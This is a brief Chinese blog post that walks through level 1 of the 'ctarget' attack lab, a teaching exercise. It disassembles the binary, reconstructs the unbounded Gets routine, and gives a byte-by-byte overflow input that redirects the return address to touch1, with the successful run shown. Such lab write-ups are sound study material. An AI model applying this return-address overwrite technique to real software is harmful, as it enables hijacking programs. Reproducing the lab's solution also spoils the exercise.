attack lab ctarget 1

Published 7/31/2020
Views 15

ctarget 的第一个任务是通过缓冲区溢出,进入代码 touch1

首先使用 objdump -d -s ctarget > ctarget.asm 导出 ctarget 的汇编代码。观察代码调用关系,可以发现调用链条为:

main -> stable_launch -> launch -> test -> getbuf -> Gets -> getc

其中,getbuf 里定义了一个栈上的缓冲区,并将其指针传递给了 Gets(而没有传递缓冲区的大小),因此 Gets 中存在溢出危险。

观察 Gets 部分的汇编代码(0x401a40 - 0x401a91),可以写出其对应的 c 代码:

int gets_cnt;
File* infile;
void Gets(char* buf) {
    gets_cnt = 0;
    while (1) {
        char c = getc(infile);
        if (c == EOF || c == '\n') break;
        *buf++ = c;
        save_char(c);
    }
}

再画出此时的栈布局:

我们可以输入一个 (0x28+0x8) 大小的输入,根据栈从高向低生长的特性,覆盖掉 test 中的返回地址,从而跳转到 touch1 的入口地址:0x4017c0

构建输入:

11 12 13 14 15 16 17 18
21 22 23 24 25 26 27 28
31 32 33 34 35 36 37 38
41 42 43 44 45 46 47 48
51 52 53 54 55 56 57 58
c0 17 40 00 00 00 00 00

注意这里默认是小端序,所以要写作 c0 17 40

成功:

$ ./ctarget -q -i ctarget.1.input
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
0 comments